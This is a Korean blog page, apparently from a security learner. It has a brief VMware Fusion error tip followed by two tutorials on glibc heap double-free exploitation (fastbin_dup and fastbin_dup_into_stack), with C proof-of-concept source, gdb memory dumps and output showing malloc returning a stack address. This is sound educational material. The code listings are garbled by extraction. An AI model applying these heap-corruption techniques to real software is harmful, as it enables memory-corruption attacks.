VMware Fusion 8을 사용중인데 어느날 갑자기 아래와 같은 오류가 뜰 경우.


Could not open /dev/vmmon No such file of directory. Plase make sure that the kernel module 'vmmon' is loaded 


Virtualbox와의 충돌일 수 있으니 남아있는 데이터를 완전히 삭제해주면 정상적으로 동작한다.


https://communities.vmware.com/thread/543980



'Tip' 카테고리의 다른 글

Format String Bug 페이로드 생성 함수 - pwntools.fmtstr_payload  (0) 2018.05.11
SSH 접속시 RSA 공유키 충돌 해결법  (0) 2017.08.07
Reverse Telnet  (0) 2017.07.31




fastbin_dup 에서는 double free bug에 대해서 배웠었다.


이번에 나오는 fastbin_dup_into_stack은 fastbin에서 double free bug를 사용하여 malloc의 리턴 주소를 stack의 주소로 조작하는 방법이다.



fastbin_du​p_into_stack.c


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    printf("This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");
 
    unsigned long long stack_var;
 
    printf("The address we want malloc() to return is %p.\n"8+(char *)&stack_var);
 
    printf("Allocating 3 buffers.\n");
    int *= malloc(8);
    int *= malloc(8);
    int *= malloc(8);
 
    printf("1st malloc(8): %p\n", a);
    printf("2nd malloc(8): %p\n", b);
    printf("3rd malloc(8): %p\n", c);
 
    printf("Freeing the first one...\n");
    free(a);
 
    printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);
 
    printf("So, instead, we'll free %p.\n", b);
    free(b);
 
    printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);
 
    printf("Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *= malloc(8);
 
    printf("1st malloc(8): %p\n", d);
    printf("2nd malloc(8): %p\n"malloc(8));
    printf("Now the free list has [ %p ].\n", a);
    printf("Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;
 
    printf("Now, we overwrite the first 8 bytes of the data at %p to point right after the 0x20.\n", a);
    *= (unsigned long long) (((char*)&stack_var) - sizeof(d));
 
    printf("3rd malloc(8): %p, putting the stack address on the free list\n"malloc(8));
    printf("4rd malloc(8): %p\n"malloc(8));
}
 
 
 
cs



간단하게 설명하자면 a,b,c 를 할당해주고 a, b, a로 double free 해줌으로써 a의 fd를 조작할 수 있게 된다. 이것을 이용하여 fd 값을 stack의 값으로 조작하여 malloc함으로써 stack에 공간을 할당받게 만든다. 




64비트 환경에서 직접 프로그램을 실행해가며 분석해보았다.


우선 malloc()을 통해  a,b,c 포인터 변수에 각각 8 만큼 할당해준다.


This file extends on fastbin_dup.c by tricking malloc into

returning a pointer to a controlled location (in this case, the stack).

The address we want malloc() to return is 0x7fffffffe408.

Allocating 3 buffers.

1st malloc(8): 0x603420

2nd malloc(8): 0x603440

3rd malloc(8): 0x603460




heap에 들어있는 값을 보면 알겠지만 64비트 환경이기 때문에 각각 32byte의 크기를 차지하게 된다. 

( size = 0x20 + 0x1 (PREV_INUSE) = 0x21)


2: x/32xw 0x603410

0x603410: 0x00000000 0x00000000 0x00000021 0x00000000

0x603420: 0x00000000 0x00000000 0x00000000 0x00000000

0x603430: 0x00000000 0x00000000 0x00000021 0x00000000

0x603440: 0x00000000 0x00000000 0x00000000 0x00000000

0x603450: 0x00000000 0x00000000 0x00000021 0x00000000

0x603460: 0x00000000 0x00000000 0x00000000 0x00000000





printf("Freeing the first one...\n");
free(a);


free(a)를 통해 먼저 a의 데이터가 삭제된다. 

이전 chunk가 존재하지 않기 때문에 fd는 0이 된다.


1: x/3i $pc-5

   0x400728 <main+194>: call   0x400500 <free@plt>

=> 0x40072d <main+199>: mov    rdx,QWORD PTR [rbp-0x28]

   0x400731 <main+203>: mov    rax,QWORD PTR [rbp-0x28]

2: x/32xw 0x603410

0x603410: 0x00000000 0x00000000 0x00000021 0x00000000

0x603420: 0x00000000 0x00000000 0x00000000 0x00000000

0x603430: 0x00000000 0x00000000 0x00000021 0x00000000

0x603440: 0x00000000 0x00000000 0x00000000 0x00000000

0x603450: 0x00000000 0x00000000 0x00000021 0x00000000

0x603460: 0x00000000 0x00000000 0x00000000 0x00000000





printf("So, instead, we'll free %p.\n", b);
free(b);


chunk list에 이전에 free된 a가 존재하므로 a의 주소인 0x603410이 b의 fd에 들어가게 된다.


1: x/3i $pc-5

   0x400764 <main+254>: call   0x400500 <free@plt>

=> 0x400769 <main+259>: mov    rax,QWORD PTR [rbp-0x28]

   0x40076d <main+263>: mov    rsi,rax

2: x/32xw 0x603410

0x603410: 0x00000000 0x00000000 0x00000021 0x00000000

0x603420: 0x00000000 0x00000000 0x00000000 0x00000000

0x603430: 0x00000000 0x00000000 0x00000021 0x00000000

0x603440: 0x00603410 0x00000000 0x00000000 0x00000000

0x603450: 0x00000000 0x00000000 0x00000021 0x00000000

0x603460: 0x00000000 0x00000000 0x00000000 0x00000000





printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);


chunk list의 최상위가 a가 아니기 때문에 한 번더 free(a)가 가능하다. chunk list에 이전 chunk인 b가 존재하므로 b의 주소인 0x603430이 a의 fd에 들어가게 된다.


1: x/3i $pc-5

   0x400786 <main+288>: call   0x400500 <free@plt>

=> 0x40078b <main+293>: mov    rsi,QWORD PTR [rbp-0x28]

   0x40078f <main+297>: mov    rcx,QWORD PTR [rbp-0x28]

2: x/32xw 0x603410

0x603410: 0x00000000 0x00000000 0x00000021 0x00000000

0x603420: 0x00603430 0x00000000 0x00000000 0x00000000

0x603430: 0x00000000 0x00000000 0x00000021 0x00000000

0x603440: 0x00603410 0x00000000 0x00000000 0x00000000

0x603450: 0x00000000 0x00000000 0x00000021 0x00000000

0x603460: 0x00000000 0x00000000 0x00000000 0x00000000





unsigned long long *= malloc(8);
 
printf("1st malloc(8): %p\n", d);
printf("2nd malloc(8): %p\n"malloc(8));


malloc()을 사용하여 포인터변수 d에 0x8 만큼 할당해주고, 한 번 더 malloc()하여 0x8만큼 할당해준다. 따라서 chunk list의 최상위에는 a만 남게 된다.




현재 a의 fd에는 b의 주소인 0x603430이 저장되어 있다. 이제 이 값을 stack의 값으로 바꿔주기만하면, 4번째 malloc()을 하여 다음에 공간을 할당을 받을 때 stack으로 할당받게 될 것이다.


0x603410: 0x00000000 0x00000000 0x00000021 0x00000000

0x603420: 0x00603430 0x00000000 0x00000000 0x00000000




이때 주의해야할 것은 스택에 있는 fake chunk의 size 값을 똑같이 맞춰줘야 한다는 것이다. 그렇지않으면 malloc corruption 이 뜨게 된다.



stack_var = 0x20;
 
printf("Now, we overwrite the first 8 bytes of the data at %p to point right after the 0x20.\n", a);
*= (unsigned long long) (((char*)&stack_var) - sizeof(d));
 
printf("3rd malloc(8): %p, putting the stack address on the free list\n"malloc(8));


따라서 위와 같이 stack_var 에 0x20을 넣어줌으로써 fake chunk의 size를 맞춰준다. (스택에 할당된 stack_var가 fake chunk의 size 가 된다. )



fake chunk


 prev_size

 stack_var(size)

 data



그 후 stack_var 주소에서 d 크기 만큼 뺀 값을 *d에 넣어주게 되는데, 그 이유는 malloc()을 통해 공간을 할당받을 때 prev_size와 size 공간만큼 더하여 할당받기 때문이다.  


현재 stack_var가 fake chunk의 size 이므로, 여기에서 d의 크기(0x10)만큼 빼주어 malloc()을 통해 새로 할당 받을 경우 fake chunk의 data에 값을 할당 받을수 있도록 만들어주는 것이다. (64비트 환경에서 malloc()을 할 경우 prev_size와 size공간이 16 byte 만큼 차지하기 때문에 fd 값에서 0x10 만큼 더한 곳에서부터 data 공간이 할당된다.)




3번째 malloc()을 한 후의 heap을 보면 다음과 같다.


1: x/3i $pc-5

   0x400851 <main+491>: call   0x400550 <malloc@plt>

=> 0x400856 <main+496>: mov    rsi,rax

   0x400859 <main+499>: mov    edi,0x400cc8

2: x/32xw 0x603410

0x603410: 0x00000000 0x00000000 0x00000021 0x00000000

0x603420: 0xffffe3e8 0x00007fff 0x00000000 0x00000000

0x603430: 0x00000000 0x00000000 0x00000021 0x00000000

0x603440: 0x00603410 0x00000000 0x00000000 0x00000000

0x603450: 0x00000000 0x00000000 0x00000021 0x00000000

0x603460: 0x00000000 0x00000000 0x00000000 0x00000000





printf("4rd malloc(8): %p\n"malloc(8));


4rd malloc(8): 0x7fffffffe3f8


현재 a의 fd 값이 stack 주소인 0x7fffffffe3e8가 있므로 4번째 malloc()을 하게 되면 stack인 0x7fffffffe3f8에 data 공간을 할당하게 된다.


(gdb) x/12wx 0x7fffffffe3e8

0x7fffffffe3e8: 0x00400884 0x00000000 0x00000020 0x00000000

0x7fffffffe3f8: 0x00603420 0x00000000 0x00603440 0x00000000

0x7fffffffe408: 0x00603460 0x00000000 0x00603420 0x00000000





프로그램을 실행한 모습


root@ubuntu:~/pwn# ./fastbin_dup_into_stack

This file extends on fastbin_dup.c by tricking malloc into

returning a pointer to a controlled location (in this case, the stack).

The address we want malloc() to return is 0x7fffffffe3f8.

Allocating 3 buffers.

1st malloc(8): 0x603420

2nd malloc(8): 0x603440

3rd malloc(8): 0x603460

Freeing the first one...

If we free 0x603420 again, things will crash because 0x603420 is at the top of the free list.

So, instead, we'll free 0x603440.

Now, we can free 0x603420 again, since it's not the head of the free list.

Now the free list has [ 0x603420, 0x603440, 0x603420 ]. We'll now carry out our attack by modifying data at 0x603420.

1st malloc(8): 0x603420

2nd malloc(8): 0x603440

Now the free list has [ 0x603420 ].

Now, we have access to 0x603420 while it remains at the head of the free list.

so now we are writing a fake free size (in this case, 0x20) to the stack,

so that malloc will think there is a free chunk there and agree to

return a pointer to it.

Now, we overwrite the first 8 bytes of the data at 0x603420 to point right after the 0x20.

3rd malloc(8): 0x603420, putting the stack address on the free list

4rd malloc(8): 0x7fffffffe3f8





fastbin_dup.c


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    printf("This file demonstrates a simple double-free attack with fastbins.\n");
 
    printf("Allocating 3 buffers.\n");
    int *= malloc(8);
    int *= malloc(8);
    int *= malloc(8);
 
    printf("1st malloc(8): %p\n", a);
    printf("2nd malloc(8): %p\n", b);
    printf("3rd malloc(8): %p\n", c);
 
    printf("Freeing the first one...\n");
    free(a);
 
    printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);
 
    printf("So, instead, we'll free %p.\n", b);
    free(b);
 
    printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);
 
    printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
    printf("1st malloc(8): %p\n"malloc(8));
    printf("2nd malloc(8): %p\n"malloc(8));
    printf("3rd malloc(8): %p\n"malloc(8));
}
 
 
 
cs







위 소스코드는 double free bug에 대해서 설명하고 있다.

double free bug는 라이브러리 2.3.2 이하에서 발생한다.


그럼 하나씩 분석해보자.


우선 malloc()을 통해  a,b,c 포인터 변수에 각각 8 byte 크기만큼 할당해준다.


This file demonstrates a simple double-free attack with fastbins.

Allocating 3 buffers.

1st malloc(8): 0x804b410

2nd malloc(8): 0x804b420

3rd malloc(8): 0x804b430


할당된 주소는 위와 같이 a,b,c 순으로 0x804b410, 0x804b420, 0x804b430이다.




각각 0x8 크기만큼 할당했는데 왜 할당된 공간의 주소 차이는 0x16 씩 차이가 나는가?

그 이유는 malloc_chunk 구조체를 보면 알 수 있다.


struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */

  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */


  struct malloc_chunk* fd;         /* double links -- used only if free. */

  struct malloc_chunk* bk;


  /* Only used for large blocks: pointer to next larger size.  */

  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */

  struct malloc_chunk* bk_nextsize;

};




malloc()을 통해 메모리를 할당받게 되면 바로 데이터를 쓸 수 있는 공간이 할당되는 것이 아니라 prev_size와 size가 나오고 나서 그 뒤에 data 영역이 할당되게 된다. 만약 free()가 될 경우, data 영역은 사라지게 되며 이 공간을 fd와 bk가 덮어쓰게 된다. 

malloc()

 prev_size

size 

data 





free()

 prev_size

size 

fd 

bk 

 




prev_size : flag를 제외한 이전 chunk의 크기
size : 현재 chunk의 크기
fd(foward) : 이전 chunk의 주소를 카리키는 포인터
bk(backward) : 다음 chunk의 주소를 가리키는 포인터


따라서 위의 경우 0x8만큼 할당 받았으나 prev_size와 size의 공간이 존재하기 때문에 실질적으로는 0x10만큼 크기를 차지하게 되는 것이다.


자세한 내용은 이 블로그(https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/) 에 설명이 잘 되어있으니  참조하기 바란다. 




gdb를 통해 구조를 직접 확인하면 좀 더 이해하기가 쉽다.


다음은 free하기 전 a, b, c의 주소이다.


Breakpoint 1, 0x08048507 in main ()

(gdb) x/32wx 0x804b408

0x804b408: 0x00000000 0x00000011 0x00000000 0x00000000

0x804b418: 0x00000000 0x00000011 0x00000000 0x00000000

0x804b428: 0x00000000 0x00000011 0x00000000 0x00000000

0x804b438: 0x00000000 0x00020bc9 0x00000000 0x00000000

0x804b448: 0x00000000 0x00000000 0x00000000 0x00000000

0x804b458: 0x00000000 0x00000000 0x00000000 0x00000000


0x804b410이 a의 data 영역이므로, 0x804b408은 prev_size, 0x804b40c는 size인 것을 알 수 있다. 


여기서 size가 0x10이 아닌 0x11인 이유는 병합이 이루어지지 않도록 하기 위해 PREV_INUSE 플래그가 설정되어있기 때문이다. 이와 마찬가지로 b, c 도 a와 비슷하게 할당되게 된다.





printf("Freeing the first one...\n");
free(a);


free(a)를 통해 먼저 a의 데이터가 삭제된다. 

이전 chunk가 존재하지 않기 때문에 fd는 0이 된다.


0x08048550 in main ()

(gdb) x/32wx 0x804b408

0x804b408: 0x00000000 0x00000011 0x00000000 0x00000000

0x804b418: 0x00000000 0x00000011 0x00000000 0x00000000

0x804b428: 0x00000000 0x00000011 0x00000000 0x00000000





그 다음 주석처리 되어 있는 free(a)를 주석을 푼 뒤 프로그램을 실행시켜보았다.


printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
free(a);




그 결과 double-free 에러가 발생하였다.


This file demonstrates a simple double-free attack with fastbins.

Allocating 3 buffers.

1st malloc(8): 0x804b410

2nd malloc(8): 0x804b420

3rd malloc(8): 0x804b430

Freeing the first one...

If we free 0x804b410 again, things will crash because 0x804b410 is at the top of the free list.

*** Error in `./fastbin_dup2': double free or corruption (fasttop): 0x0804b410 ***

======= Backtrace: =========

/lib/i386-linux-gnu/libc.so.6(+0x67257)[0xb7e72257]

/lib/i386-linux-gnu/libc.so.6(+0x6d577)[0xb7e78577]

/lib/i386-linux-gnu/libc.so.6(+0x6dd31)[0xb7e78d31]

./fastbin_dup2[0x8048574]

/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7e23637]

./fastbin_dup2[0x80483c1]

======= Memory map: ========

08048000-08049000 r-xp 00000000 08:01 941684     /root/pwn/fastbin_dup2

08049000-0804a000 r--p 00000000 08:01 941684     /root/pwn/fastbin_dup2

0804a000-0804b000 rw-p 00001000 08:01 941684     /root/pwn/fastbin_dup2


해당 에러가 발생하는 이유는  이미 한 번의 free(a)를 통해 a가 free list의 맨 위에 있는 상태에서 또 다시 free(a)가 이루어졌기 때문이다.



그렇기 때문에 다음과 같이 free를 해주어야 한다.


printf("So, instead, we'll free %p.\n", b);
free(b);
 
printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);


위의 경우 free(b)를 한 후에 free(a)를 하게 되므로 free list의 최상위가 a가 아닌 b가 되므로 a를 한 번 더 free 할 수 있게 된다.





1. free(a)


이전 chunk가 존재하지 않으므로 a의 fd는 0이 된다.


0x08048550 in main ()

1: x/3i $pc-5

   0x804854b <main+176>: call   0x8048350 <free@plt>

=> 0x8048550 <main+181>: add    esp,0x10

   0x8048553 <main+184>: sub    esp,0x4

2: x/12xw 0x804b408

0x804b408: 0x00000000 0x00000011 0x00000000 0x00000000

0x804b418: 0x00000000 0x00000011 0x00000000 0x00000000

0x804b428: 0x00000000 0x00000011 0x00000000 0x00000000

(gdb) 





2. free(b)


chunk list에 이전에 free된 a가 존재하므로 a의 주소인 0x804b408이 b의 fd에 들어가게 된다.


0x08048587 in main ()

1: x/3i $pc-5

   0x8048582 <main+231>: call   0x8048350 <free@plt>

=> 0x8048587 <main+236>: add    esp,0x10

   0x804858a <main+239>: sub    esp,0x8

2: x/12xw 0x804b408

0x804b408: 0x00000000 0x00000011 0x00000000 0x00000000

0x804b418: 0x00000000 0x00000011 0x0804b408 0x00000000

0x804b428: 0x00000000 0x00000011 0x00000000 0x00000000





3. free(a)


chunk list의 최상위가 a가 아니기 때문에 한 번더 free(a)가 가능하다. 

chunk list에 이전 chunk인 b가 존재하므로 b의 주소인 0x804b418이 a의 fd에 들어가게 된다.


Breakpoint 4, 0x080485a8 in main ()

1: x/3i $pc-5

   0x80485a3 <main+264>: call   0x8048350 <free@plt>

=> 0x80485a8 <main+269>: add    esp,0x10

   0x80485ab <main+272>: sub    esp,0xc

2: x/12xw 0x804b408

0x804b408: 0x00000000 0x00000011 0x0804b418 0x00000000

0x804b418: 0x00000000 0x00000011 0x0804b408 0x00000000

0x804b428: 0x00000000 0x00000011 0x00000000 0x00000000





프로그램 실행 결과


This file demonstrates a simple double-free attack with fastbins.

Allocating 3 buffers.

1st malloc(8): 0x804b410

2nd malloc(8): 0x804b420

3rd malloc(8): 0x804b430

Freeing the first one...

If we free 0x804b410 again, things will crash because 0x804b410 is at the top of the free list.

So, instead, we'll free 0x804b420.

Now, we can free 0x804b410 again, since it's not the head of the free list.

Now the free list has [ 0x804b410, 0x804b420, 0x804b410 ]. If we malloc 3 times, we'll get 0x804b410 twice!

1st malloc(8): 0x804b410

2nd malloc(8): 0x804b420

3rd malloc(8): 0x804b410





+ Recent posts